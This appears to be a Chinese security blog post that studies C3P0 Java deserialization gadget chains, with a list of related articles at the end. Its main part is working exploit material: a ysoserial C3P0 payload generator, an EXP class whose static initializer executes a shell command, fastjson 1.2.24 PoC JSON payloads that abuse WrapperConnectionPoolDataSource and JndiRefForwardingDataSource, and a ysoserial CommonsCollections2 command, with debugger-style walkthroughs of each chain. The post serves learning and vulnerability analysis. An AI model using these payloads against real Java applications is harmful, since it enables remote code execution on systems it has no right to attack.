C3P0反序列化链学习
C3P0
c3p0第一次听闻是用于fastjson的回显上,大佬们总结三种方法,后面两种主要就是用于fastjson和jackjson的回显利用(注入内存马)
http base
jndi
hex序列化字节加载器
1、http base
1.1、漏洞复现
package ysoserial.test;
import ysoserial.Serializer;
import ysoserial.payloads.C3P0;
import java.io.*;
public class C3P0Test {
public static void main(String[] args) throws Exception {
C3P0 c3P0 = new C3P0();
Object object = c3P0.getObject("http://127.0.0.1:8000/:EXP");
serialize(object,"c3p0.ser");
unserialize("c3p0.ser");
}
public static void serialize(Object obj ,String path) throws Exception{
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream(path));
objectOutputStream.writeObject(obj);
}
public static void unserialize(String path) throws Exception{
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(path));
objectInputStream.readObject();
}
}
exp
public class EXP {
public EXP() {
}
static {
try {
Runtime var0 = Runtime.getRuntime();
String[] var1 = new String[]{"bash", "-c", "open -a calculator.app"};
Process var2 = var0.exec(var1);
var2.waitFor();
} catch (Exception var3) {
}
}
}
1.2、漏洞分析
我跟jdk7u21一样还是通过ysoserial来学习,首先先学习一下c3p0链,我们看到getObject()方法,他就是通过:
截断,获取url和类名,然后反射创建PoolBackedDataSource
类,设置其connectionPoolDataSource
属性设置为new PoolSource(className, url)
实例。
我们继续看看PoolSource,除了构造方法赋值外就是有一个getReference()方法,传入了我们的恶意的url和className
public class C3P0 implements ObjectPayload<Object> {
public Object getObject ( String command ) throws Exception {
int sep = command.lastIndexOf(':');
if ( sep < 0 ) {
throw new IllegalArgumentException("Command format is: <base_url>:<classname>");
}
String url = command.substring(0, sep);
String className = command.substring(sep + 1);
PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class);
Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(className, url));
return b;
}
private static final class PoolSource implements ConnectionPoolDataSource, Referenceable {
private String className;
private String url;
public PoolSource ( String className, String url ) {
this.className = className;
this.url = url;
}
public Reference getReference () throws NamingException {
return new Reference("exploit", this.className, this.url);
}
public PrintWriter getLogWriter () throws SQLException {return null;}
public void setLogWriter ( PrintWriter out ) throws SQLException {}
public void setLoginTimeout ( int seconds ) throws SQLException {}
public int getLoginTimeout () throws SQLException {return 0;}
public Logger getParentLogger () throws SQLFeatureNotSupportedException {return null;}
public PooledConnection getPooledConnection () throws SQLException {return null;}
public PooledConnection getPooledConnection ( String user, String password ) throws SQLException {return null;}
}
public static void main ( final String[] args ) throws Exception {
PayloadRunner.run(C3P0.class, args);
}
}
1.3、POC调试
1.3.1、序列化分析
我先来看看是怎么序列化的过程,在writeObject处打下断点
跟进去,进入到com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase
,回去序列化我们的输入this.connectionPoolDataSource,但是由于我们输入的其实就是PoolSource,无法序列化,继续往下走
走到这,他会序列化indirector.indirectForm(this.connectionPoolDataSource)
,我们
indirector = new ReferenceIndirector();
oos.writeObject(indirector.indirectForm(this.connectionPoolDataSource));
我们跟进去看看,此处调用的getReference()就是PoolSource的getReference方法,也是为什么PoolSource要重写该方法
然后就是ReferenceIndirector.ReferenceSerialized(),我们继续跟进去,可以看到就是把我们构造的特殊的reference赋值给this.reference,所以序列化文件里是包含这我们的恶意reference。
1.3.2、反序列化分析
我们从报错的也可以看出序列化的接口是在com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase
的readObject
利用链
/*
* Gadget:
* PoolBackedDataSourceBase#readObject
* ReferenceIndirector$ReferenceSerialized#getObject
* ReferenceableUtils#referenceToObject
* Class#forName
* */
我们把断点打在PoolBackedDataSourceBase的readObect(),走到这,会判断o是不是IndirectlySerialized,那么就会触发ReferenceIndirector的getObject方法,跟进去
进来后会通过ReferenceableUtils.referenceToObject()方法将this.reference(恶意链接)转换成Object,我们继续跟进去
获取我们恶意地址字符串和恶意类字符串分别存入var4和var11,并且新建一个ClassLoder里面存我地址,然后通过Class.forName方法加载,此时的var4和var7都是我们可以控制的。然后就会去寻找对应的地址请求恶意类。
我们可以看到在Class.forName触发了我们的代码执行,原因是Class.forName如果没有给定 classloader, 那么会使用根类加载器。如果initalize
这个参数传了 true,那么给定的类如果之前没有被初始化过,那么会被初始化,造成远程代码执行
2、hex序列化字节加载器
这个可以满足fastjson和c3p0可以做到不出网利用。首先生成序列化payload,这里的payload注意是需要本地的另一条Gadget比如CC或者CB链,然后hex编码一下拼到PoC里
java -jar ysoserial.jar CommonsCollections2 "open -a Calculator" > calc.ser
2.1、poc复现
依赖
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>
<dependency>
<groupId>com.mchange</groupId>
<artifactId>c3p0</artifactId>
<version>0.9.5.2</version>
</dependency>
<!-- https://mvnrepository.com/artifact/org.apache.commons/commons-collections4 -->
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
Poc
{"e":{"@type":"java.lang.Class","val":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"},"f":{"@type":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource","userOverridesAsString":"HexAsciiSerializedMap:hex编码内容;"}}
package com.akkacloud;
import com.alibaba.fastjson.JSON;
import com.mchange.lang.ByteUtils;
import com.mchange.v2.c3p0.WrapperConnectionPoolDataSource;
import java.io.*;
import java.util.Arrays;
public class fast {
public static void main(String[] args) throws IOException, ClassNotFoundException {
InputStream in = new FileInputStream("/Users/akka/Desktop/tools/EXP/Weblogic/calc.ser");
byte[] data = toByteArray(in);
in.close();
String HexString = bytesToHexString(data, data.length);
System.out.println(HexString);
String poc ="{\"e\":{\"@type\":\"java.lang.Class\",\"val\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"},\"f\":{\"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\",\"userOverridesAsString\":\"HexAsciiSerializedMap:"+HexString+";\"}}";
JSON.parseObject(poc);
}
public static byte[] toByteArray(InputStream in) throws IOException {
byte[] classBytes;
classBytes = new byte[in.available()];
in.read(classBytes);
in.close();
return classBytes;
}
public static String bytesToHexString(byte[] bArray, int length) {
StringBuffer sb = new StringBuffer(length);
for(int i = 0; i < length; ++i) {
String sTemp = Integer.toHexString(255 & bArray[i]);
if (sTemp.length() < 2) {
sb.append(0);
}
sb.append(sTemp.toUpperCase());
}
return sb.toString();
}
}
2.2、poc分析
原因仍然是fastjson自动调用属性的setter和getter方法。不懂得可以学习一下前面
我们直接在com.mchange.v2.c3p0.WrapperConnectionPoolDataSource
类的 setUpPropertyListeners处打下断点,调用了parseUserOverridesAsString((String)val)
,val就是我们传入的hex加密的字符串,跟进去
该方法就是把传入的hex加密字符串解密成byte[],然后调用fromByteArray方法,继续跟进去
然后调用deserializeFromByteArray方法,继续跟进
到这一步就很清晰了,调用readObejct,造成反序列化恶意代码执行
3、JNDI利用
此方法可以配合tomcatEcho,达到回显
3.1、POC复现
依赖
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>
<!-- https://mvnrepository.com/artifact/org.apache.tomcat/tomcat-dbcp -->
<dependency>
<groupId>com.mchange</groupId>
<artifactId>c3p0</artifactId>
<version>0.9.5.2</version>
</dependency>
package com.akkacloud;
import com.alibaba.fastjson.JSON;
public class fast {
public static void main(String[] args) throws Exception {
String poc = "{\"@type\":\"com.mchange.v2.c3p0.JndiRefForwardingDataSource\",\"jndiName\":\"ldap://127.0.0.1:1389/EXP\", \"loginTimeout\":0}";
JSON.parseObject(poc);
}
}
3.2、POC分析
这跟fastjson其他利用链的差不多都是由于fastjson会自动触发字段的setter和getter方法。所以会自动触发com.mchange.v2.c3p0.JndiRefForwardingDataSource
的setJndiName
,但是由于该类没有该方法就会调用其父类com.mchange.v2.c3p0.impl.JndiRefDataSourceBase
的setJndiName
。我们在该方法打下断点,可以看到该方法就是把this.jndiName赋值为其传入的值(恶意链接),然后就是调用setloginTimeout
然后进入到om.mchange.v2.c3p0.JndiRefForwardingDataSource
累的setloginTimeout
,调用inner
方法,跟进去
继续调用dereference
方法,继续跟进
跟进去就发现会调用我们ctx.lookup((String)jndiName)
,完成jndi注入
参考
https://www.cnblogs.com/nice0e3/p/15058285.html
https://www.shuzhiduo.com/A/ZOJPN24Odv/
C3P0反序列化链学习的更多相关文章
- CommonsCollection6反序列化链学习
CommonsCollection6 1.前置知识 1.1.HashSet HashSet 基于 HashMap 来实现的,是一个不允许有重复元素的集合.继承了序列化和集合 构造函数参数为空的话创建一 ...
- CommonsCollection4反序列化链学习
CommonsCollection4 1.前置知识 由于cc4没有新的知识点,主要是用cc2,然后稍微cc3结合了,所以我们可以看ysoserial源码,自己尝试构造一下,把cc2通过获取Invoke ...
- CommonsCollection7反序列化链学习
CommonsCollections7 1.前置知识 Hashtable Hashtable实现了Map接口和Serializable接口,因此,Hashtable现在集成到了集合框架中.它和Hash ...
- URLDNS反序列化链学习
URLDNS URLDNS跟CommonsCollections比起来真是眉清目秀,该链主要用于验证漏洞,并不能执行命令,优点就是不依赖任何包. 1.利用链 * Gadget Chain: * Has ...
- GNU工具链学习笔记
GNU工具链学习笔记 1..so为动态链接库,.a为静态连接库.他们在Linux下按照ELF格式存储.ELF有四种文件类型.可重定位文件(Relocatable file,*.o,*.a),包含代码和 ...
- 安洵杯iamthinking(tp6反序列化链)
安洵杯iamthinking tp6pop链 考点: 1.tp6.0反序列化链 2.parse_url()绕过 利用链: 前半部分利用链(tp6.0) think\Model --> __des ...
- Fastjsonfan反序列链学习前置知识
Fastjson前置知识 Fastjson 是一个 Java 库,可以将 Java 对象转换为 JSON 格式,当然它也可以将 JSON 字符串转换为 Java 对象. Fastjson 可以操作任何 ...
- Fastjson JdbcRowSetImpl利用链学习
JdbcRowSetImpl 接着继续学习fastjson的第二条链JdbcRowSetImpl,主要是利用jndi注入达到的攻击,而且没有什么利用限制,而且其原理就是setter的自动调用,具体se ...
- JS 原型链学习总结
废话篇: 在js的学习过程中有一大难点就是原型链.学习的时候一直对这一内容不是十分的明白.纠结的我简直难受.,幸好总算给他弄通了,哇咔咔,总算可以不用在睡梦中还想着他了. 正文篇: 要了解原型链我们首 ...
随机推荐
- J20航模遥控器开源项目系列教程(七)PPM输出 | 关于按键版本和旋转编码器版本的兼容说明、布局建议 | 关于MINI版PCB的兼容说明
我们的开源宗旨:自由 协调 开放 合作 共享 拥抱开源,丰富国内开源生态,开展多人运动,欢迎加入我们哈~ 和一群志同道合的人,做自己所热爱的事! 项目开源地址:https://github.com/J ...
- 5分钟了解二叉树之LeetCode里的二叉树
有读者反馈,现在谁不是为了找工作才学的数据结构,确实很有道理,是我肤浅了.所以为了满足大家的需求,这里总结下LeetCode里的数据结构.对于我们这种职场老人来说,刷LeetCode会遇到个很尴尬的问 ...
- idea使用技巧、心得1
0.安装idea之后的准备 (1) 永久快乐使用:在我的博客搜索安装idea关键词既可 (2) 取消更新: (3) idea 官网的关于idea的使用手册:https://www.jetbrains. ...
- Correct the classpath of your application so that it contains a single, compatible version of org.springframework.util.Assert
一.问题描述 今天启动springboot工程时,报上面的错误. 二.解决方法 加入如下pom: <dependency> <groupId>org.springframewo ...
- jQuery--内容过滤和可见性过滤
一.内容过滤 1.内容过滤选择器介绍 :empty 当前元素是否为空(是否有标签体) :contains(text) 标签体是否含有指定的文本 :has(...) ...
- Java容器基础概况
一.什么是Java容器 书写程序时,我们常常需要对大量的对象引用进行管理.为了实现有效的归类管理,我们常常将同类的引用放置在同一个数据容器中.Java容器类是java提供的工具包,包含了常用的数据结构 ...
- 学习 Haproxy (四)
一. haproxy 的安装配置 # cat /etc/redhat-release CentOS release 6.6 (Final) # uname -r 2.6.32-504.el6.i686 ...
- Architecture Review Board
Architecture Review Board What's an Architecture Review? Architecture design is not a one-time final ...
- 前端入门-day2(常见css问题及解答)
写在前面 今天是入门前端的day2, 小伙伴们应该已经看了一些HTML的基础和CSS的基础了,是不是遇到了很多关于CSS的问题呢.因为HTML很少有太复杂的问题,所以直接写一篇关于CSS的常见问题及解 ...
- 浅谈JavaScript原型与原型链
对于很多前端开发者而言,JavaScript的原型实在是很让人头疼,所以我这边就整理了一下自己对应原型的一点理解,分享给大家,供交流使用 原型 说起原型,那就不得不说prototype.__proto ...